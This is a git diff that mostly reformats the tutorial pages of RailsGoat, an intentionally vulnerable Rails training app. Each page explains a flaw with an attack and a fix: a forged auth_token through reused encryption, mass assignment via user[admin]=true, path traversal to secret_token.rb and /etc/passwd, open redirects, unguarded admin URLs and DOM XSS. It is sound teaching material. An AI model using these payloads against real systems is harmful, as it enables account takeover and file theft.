    +  Content-Type: application/json; charset=utf-8
    +  X-UA-Compatible: IE=Edge
    +  ETag: "916d3a7b17b24bd84806393e5ef4ccd9"
    +  Cache-Control: max-age=0, private, must-revalidate
    +  X-Request-Id: e56b6bc1c6d6b875249f6d27b9f9450c
    +  X-Runtime: 0.009111
    +  Connection: close
    +
    +  [{"admin":true,"created_at":"2014-01-23T16:17:10Z","email":"admin@metacorp.com","first_name":
    +  "Admin","id":1,"last_name":"","password":"c93ccd78b2076528346216b3b2f701e6","updated_at":"2014-01-23T16:17:10Z","user_id":1},
    +  {"admin":false,"created_at":"2014-01-23T16:17:10Z","email":"jack@metacorp.com","first_name":"Jack","id":2,"last_name":"Mannino",
    +  "password":"b46dd2888a0904972649cc880a93f4dd","updated_at":"2014-01-23T16:17:10Z","user_id":2},{"admin":false,"created_at":
    +  "2014-01-23T16:17:10Z","email":"jim@metacorp.com","first_name":"Jim","id":3,"last_name":"Manico","password":
    +  "e1eb29f815193265b57d31bb4d9de140","updated_at":"2014-01-23T16:17:10Z","user_id":3},{"admin":false,
    +  "created_at":"2014-01-23T16:17:10Z","email":"mike@metacorp.com","first_name":"Mike","id":4,"last_name":"McCabe",
    +  "password":"df5d9020fa0f31adc4fd279020f587c8","updated_at":"2014-01-23T16:17:10Z","user_id":4},{"admin":false,"created_at":
    +  "2014-01-23T16:17:10Z","email":"ken@metacorp.com","first_name":"Ken","id":5,"last_name":"Johnson","password":
    +  "67a2faf94e8e71113617d4b72f851bf0","updated_at":"2014-01-23T16:17:10Z","user_id":5},{"admin":null,"created_at":
    +  "2014-03-09T13:58:28Z","email":"test1@test.com","first_name":"test","id":6,"last_name":"test","password":
    +  "05a671c66aefea124cc08b76ea6d30bb","updated_at":"2014-03-09T13:58:28Z","user_id":6},{"admin":null,"created_at":
    +  "2014-03-10T00:13:12Z","email":"test2@test.com","first_name":"test","id":7,"last_name":"test","password":
    +  "91482305bacc71bd52612cce07135b77","updated_at":"2014-03-10T00:13:12Z","user_id":7}]
    +         
    +

    Broken Regular Expression SOLUTION:

    +

    + There are many things wrong with how we are going about doing this but, for a simple fix, you can anchor the regular expression to reject/ignore newline characters. +

    +
    +        def identify_user(token="")
    +          # We've had issues with URL encoding, etc. causing issues so just to be safe
    +          # we will go ahead and unescape the user's token
    +          unescape_token(token)
    +          @clean_token =~ /\A(.*?)-(.*)\z/
    +          id = $1
    +          hash = $2
    +          (id && hash) ? true : false
    +          check_hash(id, hash) ? true : false
    +        end
    +         
    -
    - + + \ No newline at end of file diff --git a/app/views/layouts/tutorial/logic_flaws/_insecure_crypto_reuse.html.erb b/app/views/layouts/tutorial/logic_flaws/_insecure_crypto_reuse.html.erb index c9e9e53..831287e 100644 --- a/app/views/layouts/tutorial/logic_flaws/_insecure_crypto_reuse.html.erb +++ b/app/views/layouts/tutorial/logic_flaws/_insecure_crypto_reuse.html.erb @@ -16,9 +16,9 @@
    -

    +

    The Railsgoat application allows employees of Metacorp to choose the Remember Me option at login, which creates a cookie named auth-token. The encryption routine used to generate the auth-token allows the application to extract a user ID. When decrypted, a user ID is extracted and the user is authorized appropriately. This same encryption routine is used elsewhere in the application in a manner such that a clever attacker can generate an auth_token cookie with whatever user ID they prefer and authorize to the application as a different user. -

    +

    @@ -32,63 +32,63 @@
    -

    - Within the file lib/encryption.rb, there are two encryption related methods that we have exposed: -

    -
    -				  # Added a re-usable encryption routine, shouldn't be an issue!
    -				  def self.encrypt_sensitive_value(val="")
    -				     aes = OpenSSL::Cipher::Cipher.new(cipher_type)
    -				     aes.encrypt
    -				     aes.key = key
    -				     aes.iv = iv if iv != nil
    -				     new_val = aes.update("#{val}") + aes.final
    -				     Base64.strict_encode64(new_val).encode('utf-8')
    -				  end
    +              

    + Within the file lib/encryption.rb, there are two encryption related methods that we have exposed: +

    +
    +          # Added a re-usable encryption routine, shouldn't be an issue!
    +          def self.encrypt_sensitive_value(val="")
    +             aes = OpenSSL::Cipher::Cipher.new(cipher_type)
    +             aes.encrypt
    +             aes.key = key
    +             aes.iv = iv if iv != nil
    +             new_val = aes.update("#{val}") + aes.final
    +             Base64.strict_encode64(new_val).encode('utf-8')
    +          end
     
    -				  def self.decrypt_sensitive_value(val="")
    -				     aes = OpenSSL::Cipher::Cipher.new(cipher_type)
    -				     aes.decrypt
    -				     aes.key = key
    -				     aes.iv = iv if iv != nil
    -				     decoded = Base64.strict_decode64("#{val}")
    -				     aes.update("#{decoded}") + aes.final
    -				  end
    -				
    -

    - We have placed this code under the lib directory so that we have a re-usable encryption routine. This code is used to generate a user's auth_token cookie responsible for authorization and access. However, we've also used this same code when encrypting a user's bank account number. This means, a user can enter in any value they would like and will receive it's encrypted equivalent back from the application. Essentially, a user has the ability to generate the auth_token cookie for any user ID and authorize as that user.

    - Within the app/models/pay.rb file we have a before hook that will save a user's bank account number as an encrypted value: -

    -
    -				  # callbacks
    -				  before_save :encrypt_bank_account_num
    -					
    -				  def encrypt_bank_account_num
    -				  	self.bank_account_num = Encryption.encrypt_sensitive_value(self.bank_account_num)
    -				  end
    -				
    -

    - Additionally, we render that encrypted value (purposefully) when the show action is created within the app/controllers/pay_controller.rb file: -

    -
    -				   def show
    -				   	respond_to do |format|
    -				   	  format.json { render :json => {:user => current_user.pay.as_json} }
    -				   	end
    -				  end
    -				
    -

    - Lastly, we re-use this same routine within the following code is used to create a user's auth_token cookie upon sign-up or creation (app/models/user.rb): -

    -
    -					before_create { generate_token(:auth_token) }
    -					
    -				   def generate_token(column)
    -				   	begin
    -				   		self[column] = Encryption.encrypt_sensitive_value(self.user_id)
    -				   	end while User.exists?(column => self[column])
    -				   end
    -				
    + def self.decrypt_sensitive_value(val="") + aes = OpenSSL::Cipher::Cipher.new(cipher_type) + aes.decrypt + aes.key = key + aes.iv = iv if iv != nil + decoded = Base64.strict_decode64("#{val}") + aes.update("#{decoded}") + aes.final + end +
    +

    + We have placed this code under the lib directory so that we have a re-usable encryption routine. This code is used to generate a user's auth_token cookie responsible for authorization and access. However, we've also used this same code when encrypting a user's bank account number. This means, a user can enter in any value they would like and will receive it's encrypted equivalent back from the application. Essentially, a user has the ability to generate the auth_token cookie for any user ID and authorize as that user.

    + Within the app/models/pay.rb file we have a before hook that will save a user's bank account number as an encrypted value: +

    +
    +          # callbacks
    +          before_save :encrypt_bank_account_num
    +
    +          def encrypt_bank_account_num
    +            self.bank_account_num = Encryption.encrypt_sensitive_value(self.bank_account_num)
    +          end
    +        
    +

    + Additionally, we render that encrypted value (purposefully) when the show action is created within the app/controllers/pay_controller.rb file: +

    +
    +           def show
    +            respond_to do |format|
    +              format.json { render :json => {:user => current_user.pay.as_json} }
    +            end
    +          end
    +        
    +

    + Lastly, we re-use this same routine within the following code is used to create a user's auth_token cookie upon sign-up or creation (app/models/user.rb): +

    +
    +          before_create { generate_token(:auth_token) }
    +
    +           def generate_token(column)
    +            begin
    +              self[column] = Encryption.encrypt_sensitive_value(self.user_id)
    +            end while User.exists?(column => self[column])
    +           end
    +        
    @@ -103,17 +103,17 @@

    Insecure Encryption Re-use ATTACK:

    -

    - Navigate to the Pay section of the application. Enter your bank account number but use the number 1 as your bank account number. Once the information is entered and submitted, you'll see the encrypted value of your bank account number (1) returned. URL encode the special characters (+ and ==) and use this value as your auth_token cookie. Navigate to your dashboard and you'll have the ability to access administrative functionality. -

    -

    Insecure Encryption Re-use SOLUTION:

    -

    - Create an entirely new encryption routine or create the SHA1 hash with a different salt. -

    +

    + Navigate to the Pay section of the application. Enter your bank account number but use the number 1 as your bank account number. Once the information is entered and submitted, you'll see the encrypted value of your bank account number (1) returned. URL encode the special characters (+ and ==) and use this value as your auth_token cookie. Navigate to your dashboard and you'll have the ability to access administrative functionality. +

    +

    Insecure Encryption Re-use SOLUTION:

    +

    + Create an entirely new encryption routine or create the SHA1 hash with a different salt. +

    -
    - + + \ No newline at end of file diff --git a/app/views/layouts/tutorial/mass_assignment/_admin_mass_assign.html.erb b/app/views/layouts/tutorial/mass_assignment/_admin_mass_assign.html.erb index e9f8e18..92f9ac9 100644 --- a/app/views/layouts/tutorial/mass_assignment/_admin_mass_assign.html.erb +++ b/app/views/layouts/tutorial/mass_assignment/_admin_mass_assign.html.erb @@ -17,8 +17,8 @@

    - The application allows the admin attribute of a User model to be set through a mass assignment call. This vulnerability exists because a developer has indicated it is acceptable to set or change the admin value through the use of the attr_accessible setting. Any action that uses mass assignment to create a user or modify a user's settings is susceptible to this attack which would allow vertical privilege escalation. -

    + The application allows the admin attribute of a User model to be set through a mass assignment call. This vulnerability exists because a developer has indicated it is acceptable to set or change the admin value through the use of the attr_accessible setting. Any action that uses mass assignment to create a user or modify a user's settings is susceptible to this attack which would allow vertical privilege escalation. +

    @@ -33,29 +33,29 @@

    - The bug is introduced within app/models/user.rb, seen on line 3 (:admin): -

    -

    -

    -						<%= %q{
    -						class User < ActiveRecord::Base
    -						  attr_accessible :email, :password, :admin, :password_confirmation, :first_name, :last_name
    -						} %>
    -				 	
    -

    -

    - Any attribute added to the attr_accessible setting can be used during a mass assignment call. What this means is that conceptually, the following is allowed: -

    -
    -					# Note the string "true"/"false" or 1/0, etc. can be added to specify the boolean attribute...
    -					# is true or false thanks to ActiveRecord
    -					User.new(:email => "email@email.com", 
    -					:admin => "true", 
    -					:password => "h4xx0r", 
    -					:first_name => "Captain", 
    -					:last_name => "Crunch"
    -					)
    -				
    + The bug is introduced within app/models/user.rb, seen on line 3 (:admin): +

    +

    +

    +            <%= %q{
    +            class User < ActiveRecord::Base
    +              attr_accessible :email, :password, :admin, :password_confirmation, :first_name, :last_name
    +            } %>
    +          
    +

    +

    + Any attribute added to the attr_accessible setting can be used during a mass assignment call. What this means is that conceptually, the following is allowed: +

    +
    +          # Note the string "true"/"false" or 1/0, etc. can be added to specify the boolean attribute...
    +          # is true or false thanks to ActiveRecord
    +          User.new(:email => "email@email.com",
    +          :admin => "true",
    +          :password => "h4xx0r",
    +          :first_name => "Captain",
    +          :last_name => "Crunch"
    +          )
    +        
    @@ -69,67 +69,67 @@
    -

    Mass Assignment ATTACK:

    -

    - Through the use of an intercepting proxy, we are able to capture our form submission after entering our information on the sign up page. The request looks like this... -

    -
    		  
    -			POST /users HTTP/1.1
    -			Host: railsgoat.dev
    -			User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
    -			Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    -			Accept-Language: en-US,en;q=0.5
    -			Accept-Encoding: gzip, deflate
    -			Referer: http://railsgoat.dev/signup
    -			Cookie: _railsgoat_session=[redacted]
    -			Connection: keep-alive
    -			Content-Type: application/x-www-form-urlencoded
    -			Content-Length: 248
    +       

    Mass Assignment ATTACK:

    +

    + Through the use of an intercepting proxy, we are able to capture our form submission after entering our information on the sign up page. The request looks like this... +

    +
    +      POST /users HTTP/1.1
    +      Host: railsgoat.dev
    +      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0
    +      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    +      Accept-Language: en-US,en;q=0.5
    +      Accept-Encoding: gzip, deflate
    +      Referer: http://railsgoat.dev/signup
    +      Cookie: _railsgoat_session=[redacted]
    +      Connection: keep-alive
    +      Content-Type: application/x-www-form-urlencoded
    +      Content-Length: 248
     
    -			utf8=✓&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&user[email]=test@test.com&user[first_name]=test&user[last_name]=test&user[password]=testtest&user[password_confirmation]=testtest&commit=Submit
    -			 
    -

    - ...and the attack is quite simple. Append a parameter to the body of this POST request that specifies the admin value is true. -

    -
    	utf8=✓&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&user[email]=test@test.com&user[first_name]=test&user[last_name]=test&user[password]=testtest&user[password_confirmation]=testtest&commit=Submit&user[admin]=true
    -			 
    -

    - So when the request is received by the create method within the user controller (code shown below), the admin attribute is set to true upon user creation. -

    -
    -				 def create
    -				    user = User.new(params[:user])
    -				    user.build_retirement(POPULATE_RETIREMENTS.shuffle.first)
    -				    user.build_paid_time_off(POPULATE_PAID_TIME_OFF.shuffle.first).schedule.build(POPULATE_SCHEDULE.shuffle.first)
    -				    user.build_work_info(POPULATE_WORK_INFO.shuffle.first)
    -				    user.performance.build(POPULATE_PERFORMANCE.shuffle.first)
    -				    if user.save
    -				      session[:user_id] = user.user_id
    -				      redirect_to home_dashboard_index_path
    -				    else
    -				      @user = user
    -				      render :new
    -				    end
    -				  end
    -			 
    -

    - The last thing to mention here is that this can be done either through the signup page or when you edit your account settings. -

    -

    Mass Assignment SOLUTION:

    -

    - The solution is fairly simple, remove the admin attribute from the attr_accessible method. The following code shows what we mean: -

    -
    -				        # Note that the admin attr has been removed 
    -						<%= %q{	
    -						class User < ActiveRecord::Base
    -						  attr_accessible :email, :password, :password_confirmation, :first_name, :last_name
    -						} %>
    -			 
    + utf8=✓&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&user[email]=test@test.com&user[first_name]=test&user[last_name]=test&user[password]=testtest&user[password_confirmation]=testtest&commit=Submit +
    +

    + ...and the attack is quite simple. Append a parameter to the body of this POST request that specifies the admin value is true. +

    +
     utf8=✓&authenticity_token=GXhLKKhfBXdFx5i6iqHEd5E32Kebn1+G35eA87RW1tU=&user[email]=test@test.com&user[first_name]=test&user[last_name]=test&user[password]=testtest&user[password_confirmation]=testtest&commit=Submit&user[admin]=true
    +       
    +

    + So when the request is received by the create method within the user controller (code shown below), the admin attribute is set to true upon user creation. +

    +
    +         def create
    +            user = User.new(params[:user])
    +            user.build_retirement(POPULATE_RETIREMENTS.shuffle.first)
    +            user.build_paid_time_off(POPULATE_PAID_TIME_OFF.shuffle.first).schedule.build(POPULATE_SCHEDULE.shuffle.first)
    +            user.build_work_info(POPULATE_WORK_INFO.shuffle.first)
    +            user.performance.build(POPULATE_PERFORMANCE.shuffle.first)
    +            if user.save
    +              session[:user_id] = user.user_id
    +              redirect_to home_dashboard_index_path
    +            else
    +              @user = user
    +              render :new
    +            end
    +          end
    +       
    +

    + The last thing to mention here is that this can be done either through the signup page or when you edit your account settings. +

    +

    Mass Assignment SOLUTION:

    +

    + The solution is fairly simple, remove the admin attribute from the attr_accessible method. The following code shows what we mean: +

    +
    +                # Note that the admin attr has been removed 
    +            <%= %q{
    +            class User < ActiveRecord::Base
    +              attr_accessible :email, :password, :password_confirmation, :first_name, :last_name
    +            } %>
    +       
    -
    + + \ No newline at end of file diff --git a/app/views/layouts/tutorial/metaprogramming/_benefit_forms_constantize.html.erb b/app/views/layouts/tutorial/metaprogramming/_benefit_forms_constantize.html.erb index 18d6c8d..372e57d 100644 --- a/app/views/layouts/tutorial/metaprogramming/_benefit_forms_constantize.html.erb +++ b/app/views/layouts/tutorial/metaprogramming/_benefit_forms_constantize.html.erb @@ -17,8 +17,8 @@

    - The constantize method is a Rails MetaProgramming method designed to dynamically find a constant that matches the string specified. This is often used to dynamically instantiate a class or module. When user-supplied input is a part of that equation, great precautions must be taken to ensure security holes are not introduced. -

    + The constantize method is a Rails MetaProgramming method designed to dynamically find a constant that matches the string specified. This is often used to dynamically instantiate a class or module. When user-supplied input is a part of that equation, great precautions must be taken to ensure security holes are not introduced. +

    @@ -33,22 +33,22 @@

    - Within the file app/controllers/benefit_forms_controller.rb: -

    -
    -				  def download
    -			   		begin  
    -			   		  path = Rails.root.join('public', 'docs', params[:name])
    -			   		  file = params[:type].constantize.new(path)
    -			   		  send_file file, :disposition => 'attachment'
    -			   		rescue
    -			   		  redirect_to user_benefit_forms_path(:user_id => current_user.user_id)
    -			   		end
    -			  	  end
    -			  
    -

    - The location of the file to render is dynamically generated based on user input (params[:name]). This means the user controls the location of the file to be retrieved. Additionally, the params[:type] (File) is not validated to make sure it matches up with expected values. -

    + Within the file app/controllers/benefit_forms_controller.rb: +

    +
    +          def download
    +            begin
    +              path = Rails.root.join('public', 'docs', params[:name])
    +              file = params[:type].constantize.new(path)
    +              send_file file, :disposition => 'attachment'
    +            rescue
    +              redirect_to user_benefit_forms_path(:user_id => current_user.user_id)
    +            end
    +            end
    +        
    +

    + The location of the file to render is dynamically generated based on user input (params[:name]). This means the user controls the location of the file to be retrieved. Additionally, the params[:type] (File) is not validated to make sure it matches up with expected values. +

    @@ -63,55 +63,55 @@

    Constantize ATTACK:

    -

    - In order to attack this weakness, navigate to the benefit forms page and observe the link to download either the health or dental documents. -

    -
    -				 http://railsgoat.dev/download?name=Health_n_Stuff.pdf&type=File
    -			   
    -

    - Change the name parameter to something a little more fun like: -

    -
    -			 		http://railsgoat.dev/download?name=../../config/initializers/secret_token.rb&type=File
    -				
    -

    - This second request string specifies to navigate back two directories and then look for config/intiializers/secret_token.rb. It is important to note, even when Rails.root.join is used, leveraging path traversal (ex: ../../) allows the attacker to retrieve any file that the application's user has permissions to.

    Example: -

    -
    -					../../../../../../../etc/passwd&type=File
    -				
    -

    Constantize SOLUTION:

    -

    - In this instance and as always, there are multiple ways to fix this. A simple method to secure this function by validating user input is as follows: -

    -
    -					# More secure version
    -				    def download
    -				     file_assoc = {"1" => "Health_n_Stuff.pdf", "2" => "Dental_n_Stuff.pdf"}
    -				     begin  
    -				       if file_assoc.has_key?(params[:name].to_s)
    -				          path = Rails.root.join('public', 'docs', file_assoc[params[:name].to_s])
    -				          if params[:type] == "File"
    -				            file = params[:type].constantize.new(path)  
    -				            send_file file, :disposition => 'attachment'
    -				          end 
    -				       else 
    -				         file =  Rails.root.join('public', 'docs', "Dental_n_Stuff.pdf")
    -				         send_file file, :disposition => 'attachment'
    -				       end
    -				     rescue
    -				       redirect_to user_benefit_forms_path(:user_id => current_user.user_id)
    -				     end
    -				    end
    -				
    -

    - The fix ultimately boils down to leveraging a hash, if the hash has the key provided by the user, the value associated with that key is the name of the file to be returned. -

    +

    + In order to attack this weakness, navigate to the benefit forms page and observe the link to download either the health or dental documents. +

    +
    +         http://railsgoat.dev/download?name=Health_n_Stuff.pdf&type=File
    +         
    +

    + Change the name parameter to something a little more fun like: +

    +
    +          http://railsgoat.dev/download?name=../../config/initializers/secret_token.rb&type=File
    +        
    +

    + This second request string specifies to navigate back two directories and then look for config/intiializers/secret_token.rb. It is important to note, even when Rails.root.join is used, leveraging path traversal (ex: ../../) allows the attacker to retrieve any file that the application's user has permissions to.

    Example: +

    +
    +          ../../../../../../../etc/passwd&type=File
    +        
    +

    Constantize SOLUTION:

    +

    + In this instance and as always, there are multiple ways to fix this. A simple method to secure this function by validating user input is as follows: +

    +
    +          # More secure version
    +            def download
    +             file_assoc = {"1" => "Health_n_Stuff.pdf", "2" => "Dental_n_Stuff.pdf"}
    +             begin
    +               if file_assoc.has_key?(params[:name].to_s)
    +                  path = Rails.root.join('public', 'docs', file_assoc[params[:name].to_s])
    +                  if params[:type] == "File"
    +                    file = params[:type].constantize.new(path)
    +                    send_file file, :disposition => 'attachment'
    +                  end
    +               else
    +                 file =  Rails.root.join('public', 'docs', "Dental_n_Stuff.pdf")
    +                 send_file file, :disposition => 'attachment'
    +               end
    +             rescue
    +               redirect_to user_benefit_forms_path(:user_id => current_user.user_id)
    +             end
    +            end
    +        
    +

    + The fix ultimately boils down to leveraging a hash, if the hash has the key provided by the user, the value associated with that key is the name of the file to be returned. +

    -
    - + + \ No newline at end of file diff --git a/app/views/layouts/tutorial/misconfig/_misconfig_first.html.erb b/app/views/layouts/tutorial/misconfig/_misconfig_first.html.erb index 4679e7c..5d0b30f 100755 --- a/app/views/layouts/tutorial/misconfig/_misconfig_first.html.erb +++ b/app/views/layouts/tutorial/misconfig/_misconfig_first.html.erb @@ -52,7 +52,7 @@
    - The solution for this issue is quite simple. In your application.rb file set the configuration as follows. + The solution for this issue is quite simple. In your application.rb file set the configuration as follows.
                 <%= %q{
                   config.active_record.whitelist_attributes=true
    @@ -63,7 +63,7 @@
                 
    -
    + \ No newline at end of file diff --git a/app/views/layouts/tutorial/misconfig/_misconfig_second.html.erb b/app/views/layouts/tutorial/misconfig/_misconfig_second.html.erb index e7635b1..a2ca394 100644 --- a/app/views/layouts/tutorial/misconfig/_misconfig_second.html.erb +++ b/app/views/layouts/tutorial/misconfig/_misconfig_second.html.erb @@ -61,7 +61,7 @@ - + \ No newline at end of file diff --git a/app/views/layouts/tutorial/redirects/_redirects_first.html.erb b/app/views/layouts/tutorial/redirects/_redirects_first.html.erb index 44aeefb..5e063ae 100755 --- a/app/views/layouts/tutorial/redirects/_redirects_first.html.erb +++ b/app/views/layouts/tutorial/redirects/_redirects_first.html.erb @@ -16,13 +16,13 @@
    -

    +

    Applications frequently redirect users to other pages, or use internal forwards in a similar manner. Sometimes the target page is specified in an unvalidated parameter, allowing attackers to choose the destination page. Detecting unchecked redirects is easy. Look for redirects where you can set the full URL. Unchecked forwards are harder, because they target internal pages. -

    -

    +

    +

    Railsgoat allows the redirection to the paths previously requested but for which the user did not have access. Following authentication, the user is redirected. -

    +

    @@ -36,31 +36,31 @@
    -

    - The application performs zero validation of the path for which they will redirect users, following authentication. The URL parameter is used to determine where to redirect the user, if the url parameter is not present, the user will be redirect to their home page. -

    -
     
    -					def create
    -				      path = params[:url].present? ? params[:url] : home_dashboard_index_path    
    -				      begin
    -				        # Normalize the email address, why not
    -				        user = User.authenticate(params[:email].to_s.downcase, params[:password])
    -				       # @url = params[:url]
    -				      rescue Exception => e
    -				      end
    +          

    + The application performs zero validation of the path for which they will redirect users, following authentication. The URL parameter is used to determine where to redirect the user, if the url parameter is not present, the user will be redirect to their home page. +

    +
    +          def create
    +              path = params[:url].present? ? params[:url] : home_dashboard_index_path
    +              begin
    +                # Normalize the email address, why not
    +                user = User.authenticate(params[:email].to_s.downcase, params[:password])
    +               # @url = params[:url]
    +              rescue Exception => e
    +              end
    +
    +              if user
    +                session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists?
    +                redirect_to path
    +              else
    +                # Removed this code, just doesn't seem specific enough!
    +                #  flash[:error] = "Either your username and password is incorrect"
    +                flash[:error] = e.message
    +                render "new"
    +              end
    +          end
    +        
    - if user - session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists? - redirect_to path - else - # Removed this code, just doesn't seem specific enough! - # flash[:error] = "Either your username and password is incorrect" - flash[:error] = e.message - render "new" - end - end -
    -
    @@ -75,29 +75,29 @@

    Unvalidated Redirects and Forwards - ATTACK

    -

    - Ensure you are logged out of the application. When requesting the login page, ensure you append a url=. Then, authenticate to the application. Once authenticated, you should be redirected to your test url. -

    -

    Unvalidated Redirects and Forwards - SOLUTION

    -

    - To fix this vulnerability, validate the path. In our case, we really only want to redirect users to our site so the TLD is not important. In this case, leveraging URI.parse() can be incredibly helpful. We can change the code to something like: -

    -
    -				  path = home_dashboard_index_path    
    -				  begin 
    -				   if params[:url].present?
    -				   	path = URI.parse(params[:url]).path
    -				   end
    -				  rescue 
    -				  end
    -			 
    -

    - Further validation can occur with regular expression. If you must redirect to another application, remember to use URI.parse() and the host, path, and scheme (ssl or not) options FIRST, prior to performing regular expression validation. Additionally, always open and close your validation regexp using Ruby anchor tags \A and \z. -

    +

    + Ensure you are logged out of the application. When requesting the login page, ensure you append a url=. Then, authenticate to the application. Once authenticated, you should be redirected to your test url. +

    +

    Unvalidated Redirects and Forwards - SOLUTION

    +

    + To fix this vulnerability, validate the path. In our case, we really only want to redirect users to our site so the TLD is not important. In this case, leveraging URI.parse() can be incredibly helpful. We can change the code to something like: +

    +
    +          path = home_dashboard_index_path
    +          begin
    +           if params[:url].present?
    +            path = URI.parse(params[:url]).path
    +           end
    +          rescue
    +          end
    +       
    +

    + Further validation can occur with regular expression. If you must redirect to another application, remember to use URI.parse() and the host, path, and scheme (ssl or not) options FIRST, prior to performing regular expression validation. Additionally, always open and close your validation regexp using Ruby anchor tags \A and \z. +

    -
    + + \ No newline at end of file diff --git a/app/views/layouts/tutorial/ssl_tls/_ssl_tls_first.html.erb b/app/views/layouts/tutorial/ssl_tls/_ssl_tls_first.html.erb index 3bf824d..94d1f12 100755 --- a/app/views/layouts/tutorial/ssl_tls/_ssl_tls_first.html.erb +++ b/app/views/layouts/tutorial/ssl_tls/_ssl_tls_first.html.erb @@ -17,8 +17,8 @@

    - Applications frequently fail to authenticate, encrypt, and protect the confidentiality and integrity of sensitive network traffic. When they do, they sometimes support weak algorithms, use expired or invalid certificates, or do not use them correctly. -

    + Applications frequently fail to authenticate, encrypt, and protect the confidentiality and integrity of sensitive network traffic. When they do, they sometimes support weak algorithms, use expired or invalid certificates, or do not use them correctly. +

    @@ -33,8 +33,8 @@

    - The application currently does not use SSL (this is not the bug). Once it does, we will show the bug. For now, check out the solution section. -

    + The application currently does not use SSL (this is not the bug). Once it does, we will show the bug. For now, check out the solution section. +

    @@ -49,21 +49,21 @@

    - In order to enforce transport layer security and ensure all requests are made over SSL, navigate to the environment file that matches the environment you would like to apply this to and add: -

    -
    -				 config.force_ssl = true
    -			  
    -

    - To protect sessions from being sent over non-encrypted channels, mark your cookies with the secure flag. Under config/initializers/session_store.rb added the following option (highlighted): -

    -
    -				Railsgoat::Application.config.session_store :cookie_store, key: '_railsgoat_session', :secure => true
    -			  
    + In order to enforce transport layer security and ensure all requests are made over SSL, navigate to the environment file that matches the environment you would like to apply this to and add: +

    +
    +         config.force_ssl = true
    +        
    +

    + To protect sessions from being sent over non-encrypted channels, mark your cookies with the secure flag. Under config/initializers/session_store.rb added the following option (highlighted): +

    +
    +        Railsgoat::Application.config.session_store :cookie_store, key: '_railsgoat_session', :secure => true
    +        
    -
    +
    @@ -55,40 +55,40 @@

    Failure to Restrict URL Access - ATTACK

    -

    - Request the following URL /admin/1/dashboard and have fun :-) -

    -

    Failure to Restrict URL Access - SOLUTION

    -

    - The code is already available to restrict access to the admin controller by role within app/controllers/application_controller.rb: -

    -
    -				helper_method :current_user, :is_admin?
    -				
    -				def is_admin?
    -			    	current_user.admin if current_user 
    -			  	end
    -			
    -			  	def administrative
    -			  	  if not is_admin?
    -			  	   reset_session
    -			  	   redirect_to root_url
    -			  	 end
    -			  	end
    -			  
    -

    - Then add the following line within app/controllers/admin_controller.rb -

    -
    -				class AdminController < ApplicationController
    +        

    + Request the following URL /admin/1/dashboard and have fun :-) +

    +

    Failure to Restrict URL Access - SOLUTION

    +

    + The code is already available to restrict access to the admin controller by role within app/controllers/application_controller.rb: +

    +
    +        helper_method :current_user, :is_admin?
     
    -				  before_filter :administrative
    -				  skip_before_filter :has_info
    -			  
    + def is_admin? + current_user.admin if current_user + end + + def administrative + if not is_admin? + reset_session + redirect_to root_url + end + end +
    +

    + Then add the following line within app/controllers/admin_controller.rb +

    +
    +        class AdminController < ApplicationController
    +
    +          before_filter :administrative
    +          skip_before_filter :has_info
    +        
    - -
    + \ No newline at end of file diff --git a/app/views/layouts/tutorial/xss/_dom_xss.html.erb b/app/views/layouts/tutorial/xss/_dom_xss.html.erb index f0d18de..2c5a3e0 100644 --- a/app/views/layouts/tutorial/xss/_dom_xss.html.erb +++ b/app/views/layouts/tutorial/xss/_dom_xss.html.erb @@ -11,13 +11,13 @@ - Description + Description

    - DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment. + DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.

    @@ -33,30 +33,30 @@

    - The following code was taken from app/views/sessions/new.html.erb: -

    -
    -				 <%= 
    -				%{ 
    -	  
    -				} 
    -				%>
    -			  
    -

    - The code (above) takes user input (params), and renders it back on the page without any output encoding or escaping. -

    + The following code was taken from app/views/sessions/new.html.erb: +

    +
    +         <%=
    +        %{
    +   
    +        }
    +        %>
    +        
    +

    + The code (above) takes user input (params), and renders it back on the page without any output encoding or escaping. +

    @@ -71,40 +71,40 @@

    Stored Cross-Site Scripting ATTACK:

    -

    - Ensure you are signed out of the application first. Make sure you are using something like Firefox as Safari/Chrome won't work for this exercise. Then, use the following link (substitute hostname for your actual hostname) to execute an alert box: -

    -
    -				<%= %{http://127.0.0.1:3000/#test=} %>
    -			 
    -

    Stored Cross-Site Scripting SOLUTION:

    -

    - Leverage the Hogan function for escaping (found in the application.js file) to escape user input: -

    -
    -				<%= %{
    -	 
    -	 
    -				}	
    -				
    -				%>
    -			 
    +

    + Ensure you are signed out of the application first. Make sure you are using something like Firefox as Safari/Chrome won't work for this exercise. Then, use the following link (substitute hostname for your actual hostname) to execute an alert box: +

    +
    +        <%= %{http://127.0.0.1:3000/#test=} %>
    +       
    +

    Stored Cross-Site Scripting SOLUTION:

    +

    + Leverage the Hogan function for escaping (found in the application.js file) to escape user input: +

    +
    +        <%= %{
    +   
    +   
    +        }
    +
    +        %>
    +       
    - \ No newline at end of file diff --git a/app/views/layouts/tutorial/xss/_xss_first.html.erb b/app/views/layouts/tutorial/xss/_xss_first.html.erb index 864f488..4349bd6 100755 --- a/app/views/layouts/tutorial/xss/_xss_first.html.erb +++ b/app/views/layouts/tutorial/xss/_xss_first.html.erb @@ -31,23 +31,23 @@

    Stored Cross-Site Scripting - The following code was taken from app/views/layouts/shared/_header.html.erb

    - -

    -

    -					  <%= @code %>
    -	 				
    + +

    +

    +            <%= @code %>
    +          

